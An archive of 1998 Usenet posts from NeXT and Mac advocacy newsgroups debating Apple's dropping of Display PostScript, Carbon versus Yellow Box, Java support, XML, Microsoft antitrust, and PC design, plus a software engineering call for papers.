References: <6llk0a$hs1$5@ns3.vrx.net> <B1A4BD25-6A8A7@206.165.43.80>
Mime-Version: 1.0
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Lawson English wrote:
* DPS and PDF assume a specific kind of output device.
Care to tell us precisely what specific kind of device is
assumed?
Apart from screens, laser printers, contone devices, film recorders,
imagesetters, frame devices, band devices, wide-platen
Versatec plotters . . . .
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
=============================================================
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Killing DPS for EQD is STUPID!
Date: 11 Jun 1998 20:45:17 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd9579$a4c6df00$04387880@test1>
References: <358018FA.61F1@rs6000.cmp.ilstu.edu>
Eric A. Dubiel <eadubie@rs6000.cmp.ilstu.edu> wrote
> I'm really pissed off at Apple and the former NeXT crowd for
> killing DPS for EQD/PDF. I mean, the Client/Server abilities ...
Well, DPS never caught on, and ultimately Apple needed to make a
business decision. I obviously wasn't in on Apple's decision making
process, but I am sure they looked at *many* angles. The best
statement I have seen on the issue comes from Adobe:
Adobe's Bean [director of product marketing at Adobe's
Printing Systems division] indicated that the move was
not unexpected, adding that as a display technology,
Display PostScript was "somewhat orphaned" in NeXTstep.
"Display PostScript was not really being adopted," he
said.
http://www.zdnet.com/macweek/1223/sy_postscript.html
If there is a market for a client/server solution, someone will
create it. For example, take a look at Timbuktu for the Mac.
http://www.netopia.com/software/tb2/mac/
Also, don't forget all the remote display capabilities created for
the Windows market (e.g., Citrix). I only hope Apple keeps this in
mind as they are developing their architecture.
Todd
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 11 Jun 1998 17:17:27 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6lphh7$ila$1@crib.corepower.com>
References: <355AEC05.AB097DC4@milestonerdl.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <tb <slrn6o0hnh.kcg.sal@panix3.panix.com>
In article <slrn6o0hnh.kcg.sal@panix3.panix.com>, sal@panix3.panix.com (Salvatore Denaro) wrote:
> Would a Carbon finder have access to "services" the way that YB apps do?
> Would it have AppleScript support with the ability to control Yellow Box
> objects?
The likely answer would be "no" to the first and "yes" to the second.
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Skip NT 5.0
Date: 10 Jun 1998 21:14:50 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6lmt0a$48j@newsb.netnews.att.com>
References: <6lk75t$afl@newsb.netnews.att.com> <357ECD5C.15FB7483@ctron.com> <6lmnbb$3gt@newsb.netnews.att.com> <357EF26B.FF6D5DF@ctron.com>
Originator: gupta@tlctest
A. J. LaSalle <alasalle@ctron.com> wrote:
>My points are that both NT5.0 and MacOSX will be substantially
>more complex OSes than their predecessors and that Mr Enderle's
>estimates are meer guess work and thus constitute FUD. I don't
>like FUD, whether directed against the MacOS or WinNT. If its
>wrong for Wintel advocates, its wrong for Mac advocates.
My points are that
a. The 30 million lines of code figure (or thereabouts) have
been floating around for a long time; this is the first time
I've seen this number cited by a recognizable figure.
b. Mr Enderle in the past has been a major cheerleader for
Microsoft. The greatly inflated estimates of how well Windows 95
was going to do emanated from him in his Dataquest incarnation.
I don't think that he is FUDing or that what he is saying is
mere guesswork; or else he has really changed his colors.
However, if you read the rest of the InfoWorld article, I think
it doesn't support the theory that he is no longer a
Microsoft advocate.
-arun gupta
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 21:20:21 GMT
Organization: P & L Systems
Message-ID: <6lmtal$to$7@ironhorse.plsys.co.uk>
References: <6lkh74$m9t$2@ironhorse.plsys.co.uk> <B1A31F69-125386@206.165.43.79>
<slrn6nrlp3.515.jason@jhste1.dyn.ml.org> <6llfke$m9t$5@ironhorse.plsys.co.uk>
<slrn6nta3c.8da.jason@jhste1.dyn.ml.org> <6lme12$to$1@ironhorse.plsys.co.uk>
<slrn6ntj3v.g7.jason@jhste1.dyn.ml.org> <6lmisj$to$5@ironhorse.plsys.co.uk>
<slrn6ntq44.148.jason@jhste1.dyn.ml.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: jason@jhste1.dyn.ml.org
In <slrn6ntq44.148.jason@jhste1.dyn.ml.org> Jason S. wrote:
> >csna -- that's the current context.
>
> How so? The header has csma too, and that's the one that I'm reading.
>
The quotes you snipped...
> > Considering the attacks on Lawson coming from the csna side of these
> > crossposted threads - pot, kettle, black.
> >
> Judging by the thanks I've received over the years I think I can say
> without boasting that I've already contributed plenty of constructive
> comments to this group (csna, and more recently csma)
>
... point to csna as the primary context.
Now, are you going to say anything constructive, or simply waste more
bandwidth?
mmalc.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 12 Jun 1998 03:06:01 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6o16op.ouc.sal@panix3.panix.com>
References: <slrn6nqsvm.ntc.ben@ben.tapehouse.net> <B1A2FE3D-A87E5@206.165.43.79> <slrn6nrftj.4kc.jason@jhste1.dyn.ml.org> <6lmh18$to$4@ironhorse.plsys.co.uk> <slrn6ntje5.g7.jason@jhste1.dyn.ml.org> <6lmp52$to$6@ironhorse.plsys.co.uk> <slrn6ntsf5.148.jason@jhste1.dyn.ml.org> <6lmv32$to$8@ironhorse.plsys.co.uk> <slrn6nu138.148.jason@jhste1.dyn.ml.org> <6ln35n$to$9@ironhorse.plsys.co.uk> <slrn6nu99i.1jk.jason@jhste1.dyn.ml.org> <uzpfk3qtt.fsf@ai.mit.edu>
On 11 Jun 1998 11:23:26 -0400, Stephen Peters <portnoy@ai.mit.edu> wrote:
>\begin{typical NeXT arrogance}
I guess this time Portnoy's complaint is about NeXT users...
--
sal@panix.com
Salvatore Denaro
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Skip NT 5.0
Date: 10 Jun 1998 21:29:53 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6lmtsh$49g@newsb.netnews.att.com>
References: <6lk75t$afl@newsb.netnews.att.com> <357ECD5C.15FB7483@ctron.com> <6lmnbb$3gt@newsb.netnews.att.com> <357EF26B.FF6D5DF@ctron.com>
Originator: gupta@tlctest
A. J. LaSalle <alasalle@ctron.com> wrote:
>My points are that both NT5.0 and MacOSX will be substantially
>more complex OSes than their predecessors and that Mr Enderle's
>estimates are meer guess work and thus constitute FUD. I don't
>like FUD, whether directed against the MacOS or WinNT. If its
>wrong for Wintel advocates, its wrong for Mac advocates.
An internet search quickly revealed the following
(sorry, I should have looked for it before.)
http://www.lantimes.com/97/97oct/710a001c.html
Quote :
"Big isn't the word for it," said Jim Allchin, senior vice president
of Microsoft's Personal and Business Systems Group. "Windows NT 5.0,
beta one, is now 27 million lines of code."
End quote.
This was in October 1997.
-arun gupta
From: jjens@primenet.com
Newsgroups: comp.lang.java.advocacy,comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: How well does Apple support Java?
Date: Wed, 10 Jun 1998 21:16:06 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6lmt2n$ign$1@nnrp1.dejanews.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <NB2f1.12142$Kx3.12467548@news.rdc1.sdca.home.com> <rmcassid-0806982357100001@dialin33413.slip.uci.edu> <TG5f1.12153$Kx3.12551461@news.rdc1.sdca.home.com> <6ljrgk$mqg@nntp02.primenet.com> <slrn6nqt7q.562.sal@panix3.panix.com>
In article <slrn6nqt7q.562.sal@panix3.panix.com>,
sal@panix3.panix.com (Salvatore Denaro) wrote:
>
> On 9 Jun 1998 10:31:00 -0700, John Jensen <jjens@primenet.com> wrote:
> >I think Apple's Java plans have been on-again, off-again. On, with things
> >like Quicktime for Java. Off, with things like bailing on Java3D. On
> >again with Java APIs for Rhapsody. Off again, with a missing AWT for
> >Rhapsody (is it there for RDR 2?).
>
> I have not seen that. Apple has promised 100% Java compatibility for Rhapsody
> CR1. The YB API is being opened up for use by Java. You can extend Obj-C with
> Java and Java with Obj-C. AWT support (and swing and beans) is at least
> partialy supported in DR2.
Well, let's ask the boys over in Java advocacy:
How well do you think Apple supports Java?
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 10 Jun 1998 21:05:26 GMT
Organization: I don't think so
Message-ID: <slrn6nttma.148.jason@jhste1.dyn.ml.org>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <6lhoug$2jua@yuma.ACNS.ColoState.EDU> <357C76BF.721F47E9@nstar.net> <3592b27c.6120162@news.supernews.com> <357DEE3F.5672@CONVEX.COM> <6lmpoa$26lc@yuma.ACNS.ColoState.EDU> <357EF1E0.F83BE28C@nstar.net>
Michael J. Peck posted the following to comp.sys.mac.advocacy:
>> Only if "millions of domestic businesses" are monopolies. Monopolies
>> have to play by different rules than other companies. That is the
>> basis of anti-trust law.
>This is a twisty argument, indeed. Kindly explore the basis upon which
>Microsoft is a monopoly. In operating systems? In Internet browsers?
Monopoly is determined on a market-by-market basis. For example, in
a tying case, the firm has a monopoly in one market, but not in
another, and attempts to leverage the monopoly to build market
share in the non-monopoly market.
>> If you insist that the case has a "crux," then
>> the crux of the case is that Microsoft's practices have
>> somehow transgressed the rules set up for monopolies.
>Somehow? The Sherman laws do not, as far as I know, distinguish between
>monopolies and normal businesses. They prohibit the "restraint of
>trade". If, as you say, destruction of competition is a form of
>restraint of trade, then all businesses which hamper the success of
>their competitors are directly in violation of the Sherman laws.
There's also the Clayton Act, the FTC Act, the Robinson-Patman Act,
and probably others that I have forgotten. But even under the Sherman
Act monopoly power is a prerequisite for application in many cases;
see, e.g., Northeastern Tel. Co. v. AT&T, 651 F. 2d 76 (2nd. Cir. 1981)
cert denied 455 U.S. 943 (1982).
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 10 Jun 1998 21:20:55 GMT
Organization: All USENET -- http://www.Supernews.com
Message-ID: <6lmtbn$mgf$1@supernews.com>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu <rmcassid-0806981539290001@dante.eng.uci.edu>
<6lji4s$pns$1@new-news.cc.brandeis.edu> <slrn6nr3ac.ntc.ben@ben.tapehouse.net>
<6lku09$92m$1@supernews.com> <slrn6ntqdm.q83.ben@ben.tapehouse.net>
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Cc: ben@ben.tapehouse.net
Ben Rosengart may or may not have said:
-> In article <6lku09$92m$1@supernews.com>, John C. Randolph wrote:
-> > Ben Rosengart may or may not have said:
-> >->
-> >-> Is this your opinion, or did you borrow it from your prof? Java's no
-> >-> panacea, true, but Sun did some seriously impressive things with it,
and I
-> >-> wonder why you have such a low view of it.
-> >
-> >Maybe... He's had his hands on Smalltalk, Objective-C, Python, Eiffel, or
any
-> >other well-designed OO development language?
-> >
-> >Just a guess...
->
-> It's true, Java's OO isn't as nifty as ObjC's. When I posted that some of
-> it was "seriously impressive", I had in mind things like the security
-> model, which warms the cockles of my sysadmin heart.
Well, I consider myself a bit more security-conscious than the next guy, and
the Java security model doesn't really thrill me. If everything's in the
sandbox, eventually people are going to keep things in the sandbox that they
care about. I'm much more impressed by the Penguin module that Perl uses,
where you can decide what level of access you want to allow to any particular
piece of code.
If I want to make a hostile Java Applet, all I have to do is create windows
in a tight loop until memory runs out. There's nothing in current Java
implementations to prevent it.
-jcr
From: "HsuTung Chen" <htchen@video.ee.ntu.edu.tw>
Newsgroups: comp.sys.next.advocacy
Subject: Call for Papers - APSEC '98
Date: Fri, 12 Jun 1998 11:42:02 +0800
Organization: SEEDNet News Service
Message-ID: <6lq7u7$6ac$1@news.seed.net.tw>
Call for Papers
Asia Pacific Software Engineering Conference 1998 in Taipei
December 1-4
***** CONFERENCE THEME *****
The Asia Pacific Software Engineering Conference (APSEC) is a major
annual
international software engineering conference in Asia Pacific region.
The focus of the conference is placed on themes of current interests to
computer science. The conference is committed to a theme of promoting
software technologies and software engineering practices. Technical
papers,
industrial-strength reports and proposals for tutorial topics are
solicited.
***** Topics of interest include but are not limited to the following *****
*Requirement engineering *design patterns
*software architecture *specifications
*Software process *software design and analysis
*Software reuse *testing and verification
*testing and verification *software maintenance
*software metrics *reverse engineering
*safety critical systems *domain modeling and analysis
*formal methods *concurrent and distributed systems
*domain component development *software project management
*quality assurance *education
*real-time reactive and hybrid systems
*object-oriented technologies and database
*component-based system development
*software reliability and testability
*information system development and management
*software development environments and tools.
***** Submission Guideline *****
(I) Electronic submission of abstract (required):
Each submission must be accompanied by an electronic submission of
its title and a 200 words abstract to yulin@iii.org.tw before June 15,
1998.
The abstract must be plain text in ASCII format only.
(II) Submission of full papers:
Six(6) copies of complete papers with no longer than 5000 words
must be received before June 15, 1998 by:
(Asia Region)
Yu-Lin Tsung,
Software Engineering Laboratory,
Institute for Information Industry,
8FL., 106, Ho-Ping East Rd., Sec.2, Taipei, Taiwan.
Tel:886-2-2737-7188
Fax:886-2-2737-7575
E-mail:yulin@iii.org.tw
(Other Region)
Mikio Aoyama
Dep. Of Information and Electronics Engineering
Niigata Institute of Technology
1719 Fujihashi, Kashiwazaki 945-11, Japan
Tel&Fax:+81-257-22-8129
***** Tutorial Proposals *****
The Program Committee invites proposals for half-day tutorials
which provide conference participants with the exposure to emerging
techniques,
knowledge, insights and solid industrial experience in various fields of
software engineering and technologies. Topics of current interest to
software professionals are particularly welcome. Examples are ActiveX,
CORBA,
Java applications, Java integrated development environments,
software architecture, utilization of Internet/Intranet, technologies for
component-base system development, multimedia system development, and
Windows
related technologies. Please send the abstract and table of contents of
the topic to the Tutorial Chair William Cheng-Chung Chu through
e-mail: chu@fcu.edu.tw or Tel: 886-4-4517250 ext. 3132 or Fax:
886-4-4516101.
***** Important Dates *****
June 15, 1998 - Extended deadline for hard copies of complete papers
by post and electronic abstracts by email.
July 30, 1998 - Acceptance Notification
August 15, 1998 - Deadline for Camera-ready Copy.
***** APSEC98 Web Page for Further Information *****
http://www.selab.org.tw/apsec98
***** General Inquiries by Email *****
apsec@iii.org.tw
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Killing DPS for EQD is STUPID!
Date: 12 Jun 1998 03:30:11 GMT
Organization: Digital Fix Development
Message-ID: <6lq7c3$dji$1@news.digifix.com>
References: <358018FA.61F1@rs6000.cmp.ilstu.edu> <slrn6o164n.l4v.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
In-Reply-To: <slrn6o164n.l4v.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
On 06/11/98, Matt Kennel wrote:
>On Thu, 11 Jun 1998 11:50:56 -0600, Eric A. Dubiel wrote:
>:I'm really pissed off at Apple and the former NeXT crowd for killing
DPS
>:for EQD/PDF.
>
>Before being mad, instead of merely disappointed, you ought to be
>sure that this decision was completely Apple's fault, and not
>Adobe's. {e.g. unreasonable financial terms for DPS
licensing/purchase.}
>
>Maybe Apple is using Ghostscript technology or doing a similar
>thing themself. After all, they have to implement enough of
>something to get PDF to work. Then again, Ghostscript has never
>been proven as a real-time display server (AFAIK) the way real DPS
>has been.
>
I doubt that they'd need to go to Ghostscript to get this
stuff.
Surely Apple has all this in-house at this point, and
definately has the expertise to do what is needed.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Reverse Technology
Date: 12 Jun 1998 04:09:19 GMT
Organization: MiscKit Development
Message-ID: <6lq9lf$m6c$1@news.xmission.com>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu> <rmcassid-0906981239540001@dante.eng.uci.edu> <slrn6nrbv9.1po.sal@panix3.panix.com> <357DB62A.6D843E17@alum.mit.edu> <ldo-1106981751380001@a7.hn3.wave.co.nz> <357FA2ED.FC1EF0C9@alum.mit.edu> <SCOTT.98Jun11091928@slave.doubleu.com> <6lpm6j$2f1$1@news.xmission.com> <35806EA4.100A9B0E@alum.mit.edu> <SCOTT.98Jun11182754@slave.doubleu.com>
scott@doubleu.com (Scott Hess) wrote:
> You could use XML as a message format for Corba, or as a file format
> to store EOModels in, or as a replacement for NSPPL format, or as a
> replacement for the NSArchive format, whatever. Anyplace you need to
> store structured data in a file.
See, that's it right there: generic structured data storage that is human
readable and easy to manipulate (in a text editor _or_ in a program). Why's
that a good thing? To throw open a few doors (you have to look inside to see
everything that's in the room), briefly here's a few things I like:
* file formats can no longer be proprietary because they're way too easy to
engineer. XML is human readable, so it is easy to figure out what is stored,
where, and how. If MS Office wrote out XML data, it would be really easy to
convert it into any other format you knew about. Think about the
implications of that. Part of MS' monopoly hinges on the fact that they are
holding everyone's data hostage in proprietary formatted MS Office data
files...
* if a file becomes corrupted, since it is human readable, you can go in with
a text editor and massage it. Sure, tools to do the same would be helpful,
but how easy is it to recover data from a corrupted binary file? ASCII makes
it a tractable problem for a greater number of users.
* files can be forward and backward compatible! An "old" version file may be
missing a few tags, but the new program version can have a few default values
to fill in for those items. A "new" version file will have a few
unrecognized tags and options--but in XML you just ignore them. So the old
program can read files written by the new program version. Some detail may
get lost, but ineroperability is greatly enhanced over what you get today.
Ever tried to move files between Office 95 and Office 97? 'Nuff said.
* cross platform--no worries about byte alignment or endian-ness.
* human readable: even if I don't have the program, I can look at the file
in a text editor and "get the idea" of what the data is--so people's data is,
again, no longer held hostage by an application
* DTD's can tell a program a lot about the semantic meaning of the data.
This technology could lead to interesting implications if used underneath
something like OpenDoc...think about it...
* and others I'm forgetting to mention right now.
The two disadvantages to XML are (1) that it takes slightly longer (only very
slightly if you have a good implementation) to process (irrelevant given
today's hardware) and (2) that it is more "verbose" so it takes more bytes to
store the data (the difference is small enough to be irrelevant given today's
hard drive prices).
Note that nearly all the plusses and minus mentioned above also fit for
property lists. The difference is that XML has the DTD which PLs lack
(points in favor technically) and XML is already more widespread than PLs
(points in favor on the marketing) which means that XML is the way to go if
you have the choice...
Returning to the original premise of the thread: yes, it does seem in many
ways like technology tends to take big jumps back just because of politically
or lemmingly driven considerations. My point is that while there are some
good examples of this, XML is _not_ a good example of the phenomenon.
OPENSTEP and the surrounding stuff like DO, EOF, and WOF are definitely very
advanced, but XML addresses (very well IMHO) one thing that NeXT never did
address adequately (again IMHO) and that is data storage. Typed streams
worked well enough, but had several flaws that XML elegantly fixes. Property
lists are much better, but again, XML gets the nod. Rolling your own is
certainly not the answer. So, as a data storage system XML looks better than
any of the offerings in OPENSTEP.
What I'm saying is that even though NeXT did a lot of great things, not all
of it is perfect nor is it the end-all be-all. We need to be open minded
enough to carefully asses new technologies. While nearly everything NeXT did
had technological advantages over competing technologies, it is stupid to
throw something out as inferior just because it didn't come from NeXT or
Apple. We also have to remember that *NO* technology is perfect and
*everything* out there could be improved upon! In the case of XML, I see a
technology that can fill a hole in OPENSTEP. That's all the reason I need to
add it to my tool chest...
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.hardware,comp.sys.next.advocacy
Subject: Re: New Popular Science
Date: 11 Jun 98 16:32:24
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun11163224@slave.doubleu.com>
References: <6lmhvn$k2i$2@cronkite.cygnus.com> <357F15C6.FE8E3E29@sover.net>
<edewEuEKyo.5GG@netcom.com>
In-reply-to: edew@netcom.com's message of Thu, 11 Jun 1998 20:01:36 GMT
In article <edewEuEKyo.5GG@netcom.com>,
edew@netcom.com (Eric Dew) writes:
I remember when the IBM Aptiva or whatever that came out. People
at N*XT were screaming plagarism in the monitor design.
Why? Aptivas were uglier than sin, including the monitor. The notion
of having the floppy and stuff close to the console rather than the
CPU was alright, but they should have been elegantly placed (like on a
SparcStation 5), rather than "gadgety".
God only knows why, in the PC world, it's an _advantage_ to have all
sorts of shit hanging off the front of the computer, right in your
face. I suppose it makes it easier to have pissing contests.
Personally, I think most PC attachments shouldn't be seen _or_ heard,
except as necessary. Hide the speakers and microphone (and video
feed) in the monitor bezel - and heck, if you can't cleanly place them
in the base unit, hide the floppy and CD-ROM around the side of the
monitor, while you're at it,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
n a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
Message-ID: <357F15C6.FE8E3E29@sover.net>
Date: Wed, 10 Jun 1998 19:24:54 -0400
From: Nicholas Floersch <zoontf@sover.net>
Organization: NLWD
MIME-Version: 1.0
Newsgroups: comp.sys.next.hardware,comp.sys.next.advocacy
Subject: Re: New Popular Science
References: <6lmhvn$k2i$2@cronkite.cygnus.com>
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John Rudd wrote:
> Got my new issue of PS in the mail the other day.. in their section
> previewing new high tech products, they mention a great new idea in personal
> computing:
>
> Someone is about to release a PC in a fashionable black cube!
>
> Wow, the innovation in the PC market will never cease to amaze me..
>
> (though, might be a great place to run Rhapsody...)
>
> --
> John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
> Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
> the backward in \in shoulder rigs. Who cares if you win the game as long
> backward compatible\as you can John Woo as you dive over obstacles?" - anon
Yeah, they're called "Rock City" computers or something like that. It is some
cube held on a base so that it looks like it is balanced on one point. When I
see this kind of thing making waves again I can't help but be somewhat
infuriated by the copy-cat nature of its design. Then I get to wishing that
NeXT still produced computers and that everyone used them and... ohhh boy..
And I have only owned a NeXTstation for about 3 months.
grumble.
-Nicholas Floersch
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 12 Jun 1998 03:20:44 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35809E8C.8E3F239A@nstar.net>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu>
<6jk64c$vo9$1@strato.ultra.net>
<rmcassid-1805981307530001@dante.eng.uci.edu>
<tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net>
<35d0ab0c.360543981@news.supernews.com>
<6k6tda$omk$1@ligarius.ultra.net>
<357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net>
<6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net>
<3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM>
<35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU>
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NNTP-Posting-Date: 12 Jun 1998 03:25:43 GMT
Larry Pyeatt wrote:
> Actually, I called you to task for having the hubris to proclaim what
> the buying public "wants." That, I believe, cannot really be known,
> and even if it is, what they want and what is best for them could easily
> be two different things. I would prefer to leave the decision about
> what is best for the industry and its customers up to the industry
> experts, rather than the ignorant masses.
That's a good statement, one not easily forgotten. So the 'ignorant
masses' are unfit to spend their own money as they choose, I see it now.
Better that 'industry experts' instruct their purchases by power of
political maneuver.
Not often are fascists so honest. I appreciate the gesture.
> An expert, by definition, does have superior knowledge, superior prediction,
> and superior understanding of the area in which he is an expert.
And...you are the expert.
> > I'm not being sarcastic with you, Mr. Devlin, it's a serious matter
> > you're discussing, and before you claim to have that superior knowledge,
> > you're going to have to demonstrate it. Being in defense of tradition, I
> > have no need to make such demonstrations. The burden is on *you* to
> > prove your case, not on *me* to defend orthodoxy.
>
> Well, so far he has demonstrated a pretty good grasp of the situation.
To you it would surely seem so; his understanding far outreaches yours,
that's sure.
MJP
From: markeaton@mindspring.canned-meat-filter.com (Mark Eaton)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 11 Jun 1998 20:22:27 -0700
Organization: MindSpring Enterprises
Message-ID: <markeaton-1106982022300001@user-38ld67p.dialup.mindspring.com>
References: <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <tbrown-0806982356060001@mv172.axom.com> <rmcassid-0906980011280001@dialin33413.slip.uci.edu> <TP5f1.12155$Kx3.12551461@news.rdc1.sdca.home.com> <tbrown-0906981819170001@mv085.axom.com> <6lp2q3$cvi$2@news02.btx.dtag.de> <tbrown-1106981928040001@mv099.axom.com>
In article <tbrown-1106981928040001@mv099.axom.com>, tbrown@netset.com
(Ted Brown) wrote:
> There's no reason to get rude here.
agreed, let's all be amicable here.
>
> I think I've a fairly good idea of what Carbon is. It's a subset of the
> normal MacOS calls and no one is claiming that it's 'a compile away' from
> any MacOS program. A short bit of work, yes, but not "a compile away".
> I'm not against Carbonizing the Finder, it's a good test of Carbon. I am
> against _planning_ to use it as the Finder for Mac OS X (I really don't
> know if this is true, but it's being talked about that way here).
The Finder as presented in Mac OS 8.x is a pretty complicated beast. To
rewrite *all* that functionality is a pretty big job. Its a much more
approachable task to make the Finder Carbon-compliant.
Just like there is a ton of 3rd party Toolbox code, there is actually
quite a bit of 1st party (i.e. Apple) Toolbox code that has to be
preserved in Mac OS X.
> At least Lawson has Maury telling him that GX sucked because it couldn't
> print. Instead I get you claiming that I have 'NO idea what Carbon is'.
Actually, GX didn't suck, it was quite cool. Its downfall was that it
didn't meet any great market demands. Carbon does.
> I'll spare everyone the rant on why I think a Yellow Finder would be
> better. I suspect there's strong disinterest because, really, it's only
> a rumor that Apple will use a Carbon Finder, and the final decision is
> over a year away anyway.
The MacOS X Finder will be Carbon based. From a user standpoint it doesn't
matter how the Finder is implemented as long as it looks and acts like the
real deal.
>
> I really just want to know "Is Apple going to orphan Yellow like the long
> list of other 'great' technologies"? I'm not going to forgive them if
> they kill OPENSTEP, I was looking forward to _enjoying_ programming again,
> I'm just too lazy to program for the MacOS.
>
I don't think you have any reason to worry that AppKit+Foundation will be
orphaned. Of all the general-purpose application frameworks I've seen (and
thats a lot of 'em ;-) the AppKit is one of the best. If your application
fits that model, you should use it. You should think of your AppKit
development efforts as 'programming for MacOS'.
-mark
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 12 Jun 1998 03:18:52 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6o17gs.ouc.sal@panix3.panix.com>
